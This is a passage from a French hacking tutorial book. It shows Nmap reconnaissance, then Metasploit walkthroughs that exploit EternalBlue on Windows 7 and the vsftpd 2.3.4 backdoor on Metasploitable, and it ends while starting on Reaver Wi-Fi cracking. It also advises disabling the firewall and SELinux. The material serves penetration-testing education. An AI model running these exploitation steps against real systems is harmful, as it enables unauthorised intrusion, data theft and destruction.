S'il n'a pas été installé, le terminal générera une erreur indiquant que NMAP n'est pas installé. Ne vous inquiétez pas, ce n’est pas un problème. Il suffit d’exécuter la commande suivante pour télécharger et installer NMAP :

[image: image]sudo apt-get install nmap

[image: image]

Le téléchargement et l’installation ne prend que quelques instants, vous devrez recevoir une confirmation de la part du terminal qui vous indique que l’opération s’est terminée avec succès. Nous pouvons maintenant examiner de plus près les balayages de ping.




1)  Balayage ping

La technique la plus simple que vous devez comprendre s'appelle un « balayage de ping ». C’est un moyen utile d'identifier les machines actives sur un sous-réseau donné. Si vous n’êtes pas familier avec une opération ping, prenons un moment pour expliquer ce concept.

Un ping est une commande basée sur le protocole ICMP (Internet Control Message Protocol) et est fréquemment utilisée pour déterminer si deux hôtes disposent d'une connexion de bout en bout. 

L’hôte qui initie le ping envoie de petits paquets d’informations via ce que l’on appelle une « requête écho ICMP ». Si l'hôte cible est en ligne et dispose d'une connexion, il répondra à l'hôte qui a initié le ping. Cela vous montrera que l'hôte est en ligne et qu'il n’a pas de problèmes de connexion sur le réseau entre les deux hôtes.

[image: basic_ping]

Si vous le souhaitez, vous pouvez manuellement passer en revue chaque adresse IP de votre réseau et y envoyer une requête ping depuis votre ordinateur pour voir les adresses IP utilisées par d'autres hôtes du réseau. 

Cependant, ce n’est tout simplement pas faisable. Il serait très fastidieux d’essayer d’envoyer des centaines d’adresses IP individuelles pour vérifier si des hôtes sont en ligne. 

C’est la raison pour laquelle les balayages de ping sont très utiles ; ils vous permettent d’envoyer automatiquement un ping à chaque adresse IP valide d’un sous-réseau. Une fois le balayage terminé, NMAP renverra une liste de toutes les adresses ayant répondu au ping et vous permettra de voir les adresses IP des autres hôtes actifs du réseau analysé.

Mais il y a quelques mises en garde concernant les balayages. Ils ne vous montrent pas toujours tous les hôtes connectés à un réseau. Il existe plusieurs raisons pour lesquelles un hôte peut ne pas répondre à un balayage de ping. 

Tout d’abord, il est possible que la carte réseau d’un hôte soit défectueuse ou cassée d’une manière ou d’une autre.

Deuxièmement, il peut y avoir des problèmes sur le réseau entre votre hôte et le sous-réseau cible qui empêche la fin du ping. 

Enfin (et surtout), les administrateurs réseau choisissent de configurer les hôtes pour ne pas répondre aux pings dans le but de les protéger de l'identification par un balayage. Dans certains cas, votre ping peut passer par un pare-feu qui n’autorise pas non plus le trafic ICMP....

[image: ping_not_ok]

Cependant, ce sont les exceptions et non la règle. Il est rare qu'un hôte ne réponde pas à un ping, et la grande majorité des hôtes actifs s'afficheront dans un balayage de ping. Cela est particulièrement vrai si vous effectuez un balayage de ping sur le sous-réseau auquel votre ordinateur est directement connecté.




2)  Identification du système d'exploitation

Une autre caractéristique utile de l'utilitaire NMAP est la capacité d'identifier les systèmes d'exploitation utilisés par les hôtes actifs. Bien que vous ne le pensiez pas au début, il s’agit en réalité d’une information précieuse. 

Une fois que vous avez identifié le système d'exploitation et la version utilisée par un hôte, vous pouvez ensuite, à l’aide d’outils comme Metasploit, rechercher dans des bases de données afin d'identifier ses faiblesses et exploiter ses vulnérabilités. 

De plus, NMAP peut vous indiquer le modèle de périphérique utilisé par un hôte. C’est essentiel car il vous aidera à identifier le type de périphériques présents, tels que les ordinateurs, les tablettes, les téléphones, les équipements d'infrastructure, les appliances matérielles, les imprimantes, les routeurs, les commutateurs et même les pare-feu.

Pour cela, vous pouvez ajouter l’option -O à votre commande pour avoir le type de système d’exploitation de la machine cible :

[image: image]nmap -O 192.168.43.1
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[image: ping_o]




3)  Balayage de port

Le balayage de port est légèrement différent d'un balayage de ping. Avec l'analyse de port, l'objectif est de trouver le ou les port(s) ouvert(s) sur un sous-réseau ou un hôte unique. 

Par exemple, vous pouvez effectuer une analyse de port sur votre sous-réseau local pour voir si des hôtes acceptent les connexions sur le port 80 (HTTP). C'est un excellent moyen de savoir si vous pouvez accéder à des périphériques tels qu'un routeur sans fil, une imprimante ou un pare-feu.

[image: nmap_general]

Comme ces types de périphériques ont généralement des interfaces de configuration Web, tous les hôtes acceptant les connexions sur le port 80 (HTTP) vous montreront une invite de connexion si vous tapez leur adresse IP dans un navigateur Web. 

Par exemple, si votre analyse de port révèle que l'hôte 192.168.1.1 (il s'agit probablement de l'adresse par défaut de votre routeur sans fil) accepte les connexions sur le port 80, vous pouvez accéder à son interface de connexion en tapant http://192.168.1.1 dans la barre de recherche de votre navigateur web. Cela entrainera une connexion sur le port 80 pour l'hôte 192.168.1.1.

[image: router_login]

Il est probable que l'administrateur ait modifié le nom d'utilisateur et le mot de passe par défaut pour ce périphérique. Cependant, vous serez surpris de la fréquence à laquelle les utilisateurs omettent de le faire par inexpérience ou par paresse. Ils ignorent le risque de sécurité énorme qu'ils rencontrent en laissant le nom d'utilisateur et mot de passe défini sur les valeurs par défaut. 

Si vous le souhaitez, vous pouvez utiliser NMAP pour rechercher le type de micro logiciel utilisé par le périphérique réseau et le numéro de modèle. Ensuite, il vous suffit d'effectuer une recherche rapide sur Google pour trouver les valeurs par défaut.




PROCÉDURES D’EMPREINTE NMAP

Maintenant que vous connaissez le rôle des balayages ping, il est temps de démontrer ! Bien que vous puissiez le télécharger pour Windows, je vous recommande personnellement de suivre mon conseil et d'essayer d'installer Virtualbox afin de vous habituer à un environnement Linux. 

Ce qui suit est le processus simple et rapide en 4 étapes dont vous avez besoin pour exécuter un balayage de ping sous Linux en utilisant NMAP. 

Encore une fois, rappelez-vous que cet outil est utilisé pour identifier les hôtes actifs sur un réseau.


›  Étape 1 : Exécutez Virtualbox et lancez votre système d'exploitation Linux.

›  Étape 2 : Ouvrez le terminal. Vous pouvez le trouver en effectuant une recherche sur ‘terminal’ après avoir cliqué sur le bouton de démarrage. Si vous n’avez pas réussi à installer l'interface utilisateur graphique (GUI) au cours de votre installation, vous aurez initialisé sur un écran noir avec un curseur clignotant. C’est la même chose que le terminal, l’un ou l’autre fonctionnera pour nos besoins car nous travaillons en ligne de commande. Cependant, si vous vous sentez mal à l'aise avec cet environnement et que vous voulez un écran graphique, exécutez simplement la commande startx.

›  Étape 3 : Exécutez la commande suivante :


[image: image]sudo nmap -sP 192.168.43.0/24

[image: image]

Dans cette commande, 192.168.43.0/24 est un exemple de sous-réseau. Il est tout à fait possible que votre ordinateur se trouve sur un sous-réseau différent (comme le montre l’exemple ci-dessous). Pour découvrir le sous-réseau que vous utilisez, exécutez la commande ipconfig sous Windows ou ifconfig sur les systèmes Linux et Mac.

[image: ifconfig_kali]

Ces commandes vous indiqueront l'adresse IP et le masque de sous-réseau utilisé par votre ordinateur. Par exemple, si votre adresse IP est 192.168.1.201 et votre masque de sous-réseau est 255.255.255.0 (identique à /24), la commande sera modifiée comme suit :

[image: image]sudo nmap -sP 192.168.1.0/24

[image: image]

Maintenant, NMAP fonctionnera comme par magie et effectuera automatiquement un balayage de ping sur toutes les adresses IP valides du sous-réseau spécifié - ce qui est 192.168.43.0/24 dans cet exemple.

[image: nmap_general]


›  Étape 4 : Lisez les résultats. Une fois l'opération terminée, NMAP renverra une liste d'adresses IP ayant répondu au balayage du ping. En fonction de la taille du sous-réseau et de vos ressources informatiques locales, l'opération peut prendre un certain temps. Soyez patient et laissez NMAP faire son travail. 


Maintenant, vous avez un peu de munitions pour poursuivre vos efforts de reconnaissance. Vous pouvez utiliser les adresses IP trouvées avec le balayage de ping en tant que paramètre dans les commandes suivantes, afin d’identifier les ports ouverts de cet hôte et le système d'exploitation utilisé.




NMAP : NUMÉRISATION DE PORT

Désormais, il est temps d’apprendre à identifier les ports ouverts sur un réseau ou un périphérique cible. Imaginez à quel point cela est utile pour les testeurs de pénétration éthiques.

Cet outil leur permettra essentiellement de vérifier que les hôtes n'acceptent pas les connexions sur des ports dangereux qui devraient être bloqués par un pare-feu. Cependant, sachez que cet outil est une arme à double tranchant. Les hackers Black Hat peuvent utiliser cet outil pour trouver des ports ouverts dans le but de trouver un moyen pour pénétrer le système. 

Comme vous devriez déjà avoir exécuter un balayage de ping, je ne listerai pas les étapes de cette démo. Testez simplement la commande suivante :

[image: image]sudo nmap -p [PORT] [CIBLE]
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Dans cette syntaxe, [PORT] est une valeur numérique représentant le port que vous souhaitez analyser. Si vous voulez rechercher des hôtes acceptant les connexions HTTP, définissez cette valeur sur 80. 

Le champ [CIBLE] spécifie l’hôte ou le sous-réseau à analyser. Si vous souhaitez analyser un seul hôte, vous devez omettre le masque de sous-réseau. Si vous souhaitez analyser tout votre sous-réseau, vous devez inclure le masque de sous-réseau.

Prenons les deux exemples suivants :

	sudo nmap -p 80 192.168.43.195 (cela scanne l'hôte avec l'adresse 192.168.43.195)


[image: nmap_p]

	sudo nmap -p 80 192.168.43.0/24 (cela analyse tout le sous-réseau 192.168.43.0/24)


[image: nmap_p_all]

Il est intéressant de noter que cette commande ne vous indiquera pas seulement si le port souhaité est ouvert ou fermé. Il fournira également l'adresse MAC de l'hôte et affichera le OUI (identificateur unique d'organisation) de cette adresse MAC. 

Si vous trouvez que le port 80 est ouvert, continuez et essayez d’afficher l’interface de configuration Web dans un navigateur Web, juste pour le plaisir. Prenez également le temps de vérifier que vos hôtes dotés du port 80 ouverts n’utilisent pas les valeurs de nom d’utilisateur et de mot de passe par défaut. 

N'oubliez pas aussi que vous devrez le faire sur votre propre réseau au lieu d'un réseau sur lequel vous n’avez pas le droit d'exécuter des analyses de port !




NMAP: reconnaissance avancé

Enfin, nous allons apprendre à utiliser NMAP pour identifier le système d’exploitation d’un hôte ainsi que beaucoup d’autres informations concernant la cible. La syntaxe de la commande est extrêmement simple et suit une structure similaire à celle des exemples précédents. 

La seule différence est que vous utilisez l’option -A (comme on l’a vu précédemment) dans la commande. 

Prenons l'exemple suivant, où nous analysons un hôte cible pour récolter plus d’information sur la cible :

[image: image]sudo nmap -A 192.168.43.250

[image: image]

Cet exemple analyse uniquement l'hôte 192.168.43.250, mais vous pouvez analyser un sous-réseau entier comme nous l'avons fait dans les exemples précédents. 

La commande vous fournira ensuite des informations détaillées sur le type de système d'exploitation utilisé, son numéro de version et les correctifs éventuellement appliqués au système d'exploitation hôte.

[image: nmap-A]




EN RÉSUMÉ

Grâce à NMAP, vous pouvez facilement mapper une topologie de réseau local, identifier les hôtes actifs avec un balayage de ping, rechercher les ports ouverts et identifier les systèmes d'exploitation. 

Ces commandes sont courtes et faciles. Ces commandes offrent une grande force de frappe à un attaquant car elles sont simples à utiliser et que NMAP fera tout le travail à votre place.

La prochaine fois que vous voyez un hacker dans un film, jetez un coup d'œil sur son écran d'ordinateur. Souvent, ils vont utiliser NMAP. Maintenant, vous pouvez réellement déchiffrer le texte crypté sur leur moniteur ;).
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«WE ARE PROTECTORS
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FOR PEOPLE WHO DON’T

REALIZE THEY NEED IT»

Kent Nabors




Chapitre 8

[image: image]

UTILISER METASPLOIT POUR PÉNÉTRER DES PÉRIPHÉRIQUES

Maintenant que nous avons examiné comment utiliser les outils via le terminal sous Linux, les choses vont se compliqués. Un peu.

Bien que NMAP soit un outil fantastique pour mapper un réseau local et collecter des informations sur les hôtes ; Metasploit est un outil conçu pour vous aider à pénétrer dans un système et à exploiter les vulnérabilités. Si vous avez installé la version complète de Kali Linux sous Virtualbox, vous devriez déjà avoir installé Metasploit. En fait, il est inclus dans de nombreuses distributions Linux. 

Notez qu'il existe une version pour Windows, mais qu'il s'agit d'un programme Linux natif et que son exécution sur Linux est préférable. Il est aussi important de comprendre que Metasploit est un outil extrêmement avancé et que des livres et des manuels entiers ont été écrits à ce sujet. Je ne pouvais pas espérer élaborer sur chaque exploit trouvé dans Metasploit, vue qu'ils mettent à jour en permanence les vulnérabilités, les payloads et les failles pouvant être exploités. 

Mais je veux vous montrer quelques commandes de base ; la façon de naviguer dans l'invite Metasploit et vous montrer une démonstration de base de la manière dont Metasploit pourrait être utilisé pour pénétrer un ordinateur. Aussi, notez que je vous ai intentionnellement montré comment utiliser NMAP avant Metasploit.

Finalement, vous pouvez exécuter les commandes NMAP à partir de l'invite Metasploit, mais cela va un peu plus loin. 

Vous pouvez même enregistrer les données collectées à partir de vos analyses dans une base de données Metasploit pour les utiliser en tant qu'entrée pour d'autres commandes Metasploit.

Mais qu'est-ce que Metasploit exactement ? En fait, Metasploit est un Framework très répandu dans le monde de la sécurité et de la pénétration du réseau. Je recommande vivement d’apprendre à utiliser cet outil. Les débutants ont du mal à comprendre que Metasploit est un Framework et non pas un outil autonome (sachant qu’un Framework est un ensemble d’outils). 

Un grand nombre de hackers utilisent le code contenu dans cet outil pratique pour créer et développer leurs propres attaques personnalisées. Par exemple, si vous étudiez les vulnérabilités et les exploits de la dernière version de Windows, vous utiliserez Metasploit pour rechercher et exploiter les failles de sécurité.

Sachez aussi qu'il existe plusieurs versions de Metasploit. Certaines sont gratuites, d'autres sont payantes. Bien que vous deviez l'exécuter dans un environnement Linux, il existe une version Windows pour ceux qui ont trop peur du Shell Linux ;).

Je vais utiliser la version gratuite pour vous démontrer quelques attaques qu’on peut faire avec Metasploit.

Sachez également qu'en raison de la nature du Framework Metasploit, vous devriez désactiver votre pare-feu logiciel ou autoriser une exception. En effet, Windows le signalera comme une sorte de malware. Rassurez-vous, il s’agit d’une organisation crédible et digne de confiance (Windows a tout simplement tort !). 

De même, comme dans le chapitre NMAP, vous souhaiterez vous assurer que l'interface réseau Virtualbox est configurée pour le mode ponté.

Enfin, vous devriez vous familiariser avec certaines terminologies utilisées dans Metasploit telles que les payloads, exploits, listener, les interfaces de Metasploit et avoir une compréhension générale du concept de base de données avant de poursuivre.

Les payloads font référence à des sections de code exécutable pouvant être livrées à une cible.

Une fois que le payload a bien été envoyé et exécuté sur la machine cible, vous pouvez ensuite contrôler la machine depuis votre terminal. En revanche, l’exploitation consiste simplement à tirer parti d’une vulnérabilité connue du système en utilisant Metasploit. En outre, l'écoute signifie que Metasploit est en attente d’établir la connexion avec la machine victime.

De plus, les interfaces Metasploit incluent MSFconsole et Armitage (l’interface graphique de Metasploit), mais une interface peut également faire référence à l'une des interfaces réseau de votre ordinateur comme l'interface sans fil ou le port Ethernet. 

Pour discuter des concepts de base de Metasploit, vous devez connaître la base de données Metasploit. La base de données est l’une des caractéristiques de ce Framework qui le rend si puissant. Vous pouvez enregistrer des grandes quantités de données que vous collectez sur différents réseaux au sein de la base de données. Cela vous aidera non seulement à organiser les informations que vous collectez, mais vous pouvez aussi exécuter des commandes sur les entrées trouvées dans la base de données pour faciliter le processus d'automatisation. 

Ainsi, vous n’avez pas besoin d'exécuter la même commande sur tous les hôtes découverts à l'aide d'un outil tel que NMAP.




Les bases de Metasploit

Pour commencer la démonstration, vous devez vous familiariser avec plusieurs commandes de base et connaitre leurs rôles. 

Tout d'abord, il faut savoir comment accéder à l'invite Metasploit. Pour commencer, ouvrez le terminal (ou le shell - c’est la même chose) et tapez ce qui suit :

[image: image]msfdb init

[image: image]

[image: msfdb_init]

Puis :

[image: image]msfconsole
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[image: msfconsole]

Si vous avez correctement installé le Framework, vous devriez atteindre une invite qui affiche «  msf5 » suivi d’un signe supérieur à. 

À partir de cette invite, vous pouvez utiliser diverses commandes de base pour obtenir de l'aide, afficher des commandes supplémentaires, définir des cibles pour des attaques, définir des ports pour des exploits et de nombreux autres outils et fonctionnalités utiles. 

Voici une liste des commandes de base et de leurs fonctions :


›  show options: répertorie les options disponibles pour configurer Metasploit.

›  set RHOST [IP]: définit l'hôte distant (cible).

›  set LHOST [IP]: définit l'hôte local attaquant.

›  set RPORT 80: définit le numéro de port de l'hôte cible sur 80.

›  set LPORT 53 : définit le port local de l'attaquant sur 53.

›  set payload [PAYLOAD]: permet à un utilisateur de sélectionner un payload.

›  unset RHOST : supprime l'adresse IP d'un hôte distant.

›  unset LHOST : supprime l'adresse IP d'un hôte attaquant local.

›  exploit [EXPLOIT] : autorise un attaquant à exécuter un exploit.

›  back : renvoie un utilisateur à la session d'écran initiale 

›  sessions –i [ID] : permet d'accéder à une session active dans laquelle [ID] est une valeur numérique de la session.





Eternalblue exploitation

Pour mieux comprendre comment Metasploit peut être utilisé pour détecter et exploiter des vulnérabilités, examinons un module qui analyse les hôtes pour le protocole SMB (Server Message Block). 
Qu'est-ce que EternalBlue?

EternalBlue est un exploit probablement développé par la NSA en tant qu'ancien zero-day. Il a été publié en 2017 par Shadow Brokers, un groupe de hackers connu pour ses outils et exploits.

EternalBlue, également appelé MS17-010, est une vulnérabilité du protocole Server Message Block (SMB) de Microsoft. SMB permet aux systèmes de partager l'accès aux fichiers, imprimantes et autres ressources du réseau. La vulnérabilité est autorisée à se produire car les versions antérieures de SMB contiennent une vulnérabilité qui permet à un attaquant d'établir une connexion de session nulle via une connexion anonyme. 

Un attaquant peut alors envoyer des paquets mal formés et finalement exécuter des commandes arbitraires sur la cible.

EternalBlue était principalement responsable des épidémies de ransomware WannaCry, NotPetya et BadRabbit, ainsi que du ver EternalRocks.

Exploiter EternalBlue avec Metasploit

Nous utiliserons une copie non patché de Windows 7 comme cible pour exploiter cette faille. Une copie d’évaluation peut être téléchargée à partir de Microsoft pour que vous puissiez mieux suivre.

La première chose à faire est d'ouvrir le terminal et de démarrer Metasploit. Tapez service postgresql start pour initialiser la base de données PostgreSQL, si elle n'est pas déjà en cours d'exécution, suivie de msfconsole.

[image: image]sudo service postgresql start

msfconsole

[image: image]

Ensuite, utilisez la commande de recherche de Metasploit pour localiser le module approprié à utiliser.

[image: image]search eternalblue

[image: image]

[image: search_eternalblue]

Nous pouvons exécuter un scanner auxiliaire pour déterminer si une cible est vulnérable à MS17-010. C'est toujours une bonne idée d'effectuer la reconnaissance nécessaire comme ceci. Sinon, vous pourriez perdre beaucoup de temps si la cible n'est même pas vulnérable.

Une fois que nous avons déterminé que notre cible est effectivement vulnérable à EternalBlue, nous pouvons utiliser le module d’exploitation suivant à partir de la recherche que nous venons de faire.

[image: image]use exploit/windows/smb/ms17_010_eternalblue

[image: image]

[image: use_eternalblue]

Nous pouvons examiner les paramètres actuels avec la commande options.

[image: _etrnalblue_options]

Tout d'abord, nous devons spécifier l'adresse IP de la cible.

[image: image]set rhost 10.20.34.0

[image: image]

[image: set_rhost]

Il ne reste plus qu'à lancer l'exploit. Utilisez la commande run pour le lancer :

[image: image]run

[image: image]

[image: run_eternalblue]

Nous voyons quelque chose se produire ici, comme l’établissement de la connexion SMB et l’envoi de l’exploit. Enfin, nous voyons un "WIN" et une session ouverte. 

Parfois, cet exploit n'aboutira pas avec succès la première fois. Par conséquent, s'il suffit de ré-exécuter run une deuxième fois et ça devrait aller.

[image: hacked]




Chapitre 9

[image: image]

openvas

OpenVAS, ou “Open Vulnerability Assessment”, est un excellent outil pour les hackers à chapeau noir et à chapeau blanc. 

Cependant, il est plus populaire dans le domaine des white hat car il a été conçu pour les testeurs d'intrusions professionnels. Il leur permet d'analyser des serveurs ou des ordinateurs, de détecter d'éventuelles failles de sécurité et de fournir des patchs pour corriger leur système. 

Il s’agit essentiellement d’un outil d’audit pouvant fournir une mine d’informations sur les vulnérabilités identifiées dans un contexte donné de chaque hôte. 

En réalité, OpenVAS est un ensemble de programmes qui fonctionnent ensemble pour faciliter les procédures de tests cataloguées dans une énorme base de données d'exploits répertoriés, un peu comme la base de données Metasploit. 

Cependant, ce programme peut être utilisé à bon ou mauvais escient en fonction des motivations de l’utilisateur.




Installer OpenVAS

Vous pouvez installer OpenVAS sur un serveur - ce qui est généralement le cas dans le monde de l'entreprise - ou vous pouvez simplement l'installer dans l'environnement Virtualbox que vous aviez précédemment configuré. Si vous utilisez ce logiciel sous Linux, cela sera l'occasion idéale pour vous familiariser davantage avec l'invite de commande Linux. 

Cependant, deux conditions préalables sont requises pour ce logiciel car il n’est probablement pas déjà installé sur votre système. Pour commencer, vous allez installer les outils python-software-properties.

De plus, vous exécuterez une commande de mise à jour pour vous assurer qu'aucune de ces dépendances n'est obsolète. Pour commencer, exécutez les deux commandes suivantes :

[image: image]sudo apt-get update

sudo apt-get install openvas

[image: image]

Une fois le téléchargement et l’installation du logiciel terminés, nous devrons procéder à la configuration avant de pouvoir commencer à analyser les hôtes à la recherche de vulnérabilités. 

IMPORTANT : pour découvrir la nouvelle méthodologie d’installation et utilisation d'OpenVas, veuillez vérifier la série de vidéo que vous avez reçue après avoir inscrit sur la page suivante : http://hackingeek.com/vip

Même si ce processus peut sembler difficile si vous débutez sous Linux, il est en réalité très automatisé. En entrant quelques commandes, Linux effectuera seule la procédure de téléchargement et d’installation. Comparez cela à un environnement graphique dans lequel vous devez naviguer sur le Web pour trouver un logiciel à télécharger, exécuter la procédure d'installation et redémarrer votre ordinateur avant de pouvoir utiliser votre nouveau programme. 

La véritable valeur de Linux pour les hackers provient de la puissance de la ligne de commande car elle est légère. En effet, elle ne consomme pas beaucoup de ressources processeurs et mémoire comme le ferait une application graphique.

OpenVAS fonctionne sur le port 443, donc vous devez autoriser ce port sur le firewall avec cette commande :

[image: image]sudo ufw allow https

[image: image]

Puis vous mettez à jour la base de données :

[image: image]greenbone-certdata-sync

greenbone-scapdata-sync

[image: image]

Exécutez la commande openvas-check-setup pour voir si OpenVAS est correctement installé. Personnellement, j’ai trouvé deux erreurs majeures.

[image: image]openvas-check-setup

[image: image]

[image: openvas_no_ok]

Pour résoudre ces erreurs, il faut désactiver SELINUX qui est un module de sécurité qui définit les politiques de contrôle d’accès sur les systèmes Linux. Pour le désactiver, utilisez un éditeur de texte pour ouvrir le ficher de configuration :

[image: image]nano /etc/selinux/config

[image: image]

Puis changez le string de SELINUX à disabled comme le montre la figure suivante :

[image: IMG_257]

Puis vous devez mettre à jour la base donnée de OpenVas :

[image: image]openvasmd—rebuild

[image: image]

Maintenant, relancez la commande openvas-check-setup, pour vérifier si tout est OK :

[image: openvas_ok]

Voilà, on a fini avec l’installation.

L’étape suivante est de créer un utilisateur pour OpenVAS :

[image: image]openvasmd—user=”USER”—new-password=”PASSWORD”

[image: image]

Un utilisateur va être créé, comme le montre la figure suivante :

[image: openva_user]

Vous pouvez utiliser OpenVAS depuis son interface web mais comme convenu, on va utiliser nos outils au sein de Metasploit.

Maintenant, lancez msfconsole et chargez le plugin de OpenVAS disponible sur Metasploit:

[image: image]load openvas

[image: image]

[image: IMG_261]

Puis affichez le menu help pour voir les commandes propres à ce module :

[image: image]openvas_help

[image: image]

[image: IMG_262]

Après avoir chargé le module, vous devez vous connecter avec le serveur en utilisant la commande openvas_connect, en lui passant les paramètres de connexion crée précédemment :

[image: image]openvas_connect Anass pasword 127.0.01 9390 ok

[image: image]

[image: IMG_263]

Les paramètres sont dans l’ordre : nom_d’utilisateur, mot de passe, adresse IP du serveur local et le port.

Le ok à la fin de la commande sert à implémenter le support SSL pour que l’interaction avec le serveur soit sécurisée.


[image: image]


SCAN DE VULNÉRABILITÉ :

L’étape suivante consiste à choisir notre cible qu’on va scanner, pour cela j’utilise la commande :

[image: image]openvas_target_create Metasploitable 10.20.30.140 “scan de metasploitable”

[image: image]

[image: IMG_264]

Note : je vais utiliser Metasploitable comme machine cible parce qu’il est très riche en failles ce qui le rend un très bon terrain de pratique.

Puis créez un task (tâche) en appliquant une configuration sur la cible, pour voir les configurations disponibles, utilisez la commande : 

[image: image]openvas_config_list

[image: image]

[image: IMG_265]

Maintenant créez le task en précisant le nom de votre scan, un commentaire, le ID de la configuration que vous voulez appliquer et enfin le ID de VOTRE cible.

Note : pour voir les arguments d’une commande, il suffit de rajouter un -h.

Lancez le scan avec la commande openvas_task_start, et vérifiez le progrès avec openvas_task_list:

[image: IMG_266]

Vous voyez que le "status:Running" nous indique que notre scan est en cours d’exécution, une fois finis (Done) vous pouvez afficher le rapport de votre scan :

[image: image]openvas_task_list

[image: image]

[image: IMG_267]

Voilà, vous avez maintenant votre rapport de scan que vous pouvez également le télécharger sous plusieurs formats disponibles avec la commande :

[image: image]openvas_report_download

[image: image]

[image: IMG_268]

Le rapport vous fournit en plus des vulnérabilités un classement par sévérité, ce qui va vous faciliter la phase de l’exploitation qui vient juste après.




EXPLOITATION

L’exploitation est tout simplement la capacité de contrôler une machine, souvent c’est cette phase que visent les hackers black hat. Cependant, les white hat ne s’arrêtent pas là, ils continuent jusqu’à sécuriser (patcher) les failles trouvées.

Mais avant d’entamer la phase d’exploitation, il faut savoir que c’est une phase résultante car, comme nous l’avons dit au début, le hacking repose sur une méthodologie bien précise et logique. Maintenant si votre phase de collecte d’informations a été bien déroulé, que vous avez pu extraire toutes les informations concernant votre cible et que vous avez fait votre scan de vulnérabilité (automatique ou manuel) d’une façon approfondie, pour révéler tous les risques potentiels, il y a de fortes chances que votre exploitation sera un succès.

Tout d’abord, pour exploiter notre machine, je vais devoir m’appuyer sur le rapport de notre scan précédent, précisément sur les failles avec un niveau élevé.

Par exemple, je trouve que le service ftp exécuté sur la machine est obsolète (vsftpd2.3.4 alors qu’on parle maintenant de 3.X !), ce qui rend tout le système incroyablement exposé.

Maintenant et que vous avez mis le doigt sur le point douloureux, il ne vous reste qu’à chercher l’exploit approprié avec la commande search :

[image: image]search vsftpd 2.3.4

[image: image]

[image: search_vftpd]

Voilà, 5 exploits s’affichent dont un est propre au service ftp, c’est lui notre homme.

Note : pour ne pas sortir du cadre de Metasploit, sachez qu’on peut exploiter le service ftp juste en utilisant le mot de passe et le nom d’utilisateur par défaut comme indiqué dans le rapport.

[image: ue_explloit9]

Pour utiliser cet exploit, j’ai utilisé la commande use suivi du nom de l’exploit, puis show exploit m’affiche les options nécessaires au fonctionnement de cet exploit d'où le set RHOST, suivi de l’adresse IP de la cible (machine Metasploitable), le port est le 21 par défaut.

Le dernier Kata. Entrez le mot magique exploit :

[image: image]exploit

[image: image]

[image: IMG_271]

Boom, on a une session qui nous permettra d’interagir avec la machine.

Note : si du premier coup ça marche pas, ressayez une deuxième fois et ça devrait aller.

Entrez help pour voir quelques commandes utiles pour votre exploitation :

[image: exploit_help]

Maintenant, vous pouvez manipuler la machine comme si elle était devant vous ; afficher les logs, les mots de passe, les fichiers, télécharger ou uploader des ficher ou bien... Détruire le système !

Notez que ce n’est pas à chaque fois que vous exploitiez une machine vous aurez systématiquement le privilège de root (super utilisateur), ça dépendra de l'exploit utilisé et souvent vous devrez procéder à une escalade de priviléges.


[image: image]


CHAPITRE10

[image: image]

Wi-Fi HACKING

Certainement, il existe des méthodes pour déchiffrer les mots de passe sans fil afin que vous puissiez accéder aux réseaux Wi-Fi lorsque vous ne possédez pas la clé de sécurité.

Encore une fois, veuillez essayer ceci uniquement sur votre propre équipement. Bien que tenter d’utiliser cette méthode pour pirater le réseau sans fil de votre voisin afin d’obtenir une connexion Wi-Fi gratuite, il s’agit là d’une grave atteinte à la vie privée.

En outre, c’est en fait un processus assez simple pour casser le cryptage Wi-Fi faible et se connecter à un réseau sans fil. Cependant, il y a quelques mises en garde.

Comme vous le savez déjà peut-être, il existe plusieurs types de cryptage Wi-Fi. Les deux normes de cryptage les plus faciles à appliquer sont WEP (Wired Equivalent Privacy) et WPA (Wi-Fi Protected Access), mais il est également possible de cracker WPA2 (Wi-Fi Protected Access 2).

Certains routeurs sans fil implémentent des normes de sécurité Wi-Fi plus strictes et difficiles à intégrer, mais l’utilisateur moyen (votre cible !) ne connaît pas la différence et ne sélectionne généralement pas le bon protocole.

Mais pourquoi voudriez-vous pénétrer un réseau sans fil en premier lieu ? Après tout, un pirate expert a probablement un poisson plus gros à faire frire que son voisin qui utilise Internet pour rechercher les dernières statistiques sportives, non ? C’est vrai, mais imaginez les dégâts qu'un pirate expérimenté pourrait causer à un réseau d’entreprise qui utilise une sécurité faible. 

La plupart des entreprises, même les plus petites, font appel à des informaticiens qui maîtrisent parfaitement la mise en œuvre de la sécurité Wi-Fi la plus solide disponible à ce jour ; quelques scénarios se produisent trop souvent dans une entreprise. Prenons l'exemple d'un établissement commercial qui fournit à la fois un signal Wi-Fi à l'échelle de l'entreprise et un port Ethernet câblé à chacun des bureaux de leurs employés.

Parfois, les employés n’aiment pas suivre les règles et adhérer aux politiques de sécurité de leur entreprise. De nombreuses entreprises interdisent de brancher un périphérique réseau sur un port Ethernet, mais le personnel du réseau commet souvent une erreur en configurant le réseau - donnant ainsi à un employé la possibilité de connecter un routeur sans fil à son port Ethernet.

Habituellement, les employés souhaitent disposer de leur propre signal Wi-Fi, car ils pensent que cela leur permettra d’accéder à une vitesse supérieure à Internet.

Que cela augmente ou non leur vitesse, ce scénario se produit tout le temps. Et le problème est que cela laisse une faille béante en matière de sécurité pour que les pirates en profitent. Les utilisateurs non techniques ne comprenent pas les détails des normes de sécurité Wi-Fi, ils peuvent configurer accidentellement leur routeur sans fil pour la sécurité WEP ou WPA. Uh-oh, devinez quoi ? Maintenant, un pirate a un point d’accès à son réseau d’entreprise ! Tout ce que le pirate a à faire est de déchiffrer le mot de passe de sécurité sans fil.

En quelques minutes, il peut commencer à attaquer les hôtes de l'entreprise !




Utiliser Reaver pour cracker les mots de passe

Si vous souhaitez cracker des mots de passe Wi-Fi comme un professionnel, lancez votre distribution Linux préférée puis ouvrez un terminal. 

Dans l’idéal, je vous recommanderais d’utiliser le programme suivant, dans l’environnement Kali car les étapes ne fonctionneront pas pour tous les distributions Linux. 

Nous allons utiliser un programme appelé Reaver pour cracker une norme de cryptage sans fil. Bien que certains paquets de sécurité de Kali soient pré-emballés, je vais commencer par suivre la procédure d’installation simple. 

Pour commencer, exécutez les deux commandes suivantes pour mettre à jour votre dépôt de logiciels Linux et pour télécharger et installer le programme Reaver:

[image: image]apt-get update

apt-get install reaver

[image: image]

Le terminal vous demandera si vous souhaitez continuer après avoir déterminé la quantité d’espace disque que le programme utilisera. Tapez simplement un « y » pour continuer. Une fois l'opération terminée, vous recevrez une confirmation du terminal sur lequel Reaver a été installé. 

Et maintenant, nous devons trouver le nom de votre interface sans fil. Comme nous avons déjà expliqué comment afficher les informations du réseau précédemment, vous devriez maintenant savoir votre interface sans fil.

[image: ifconfig]

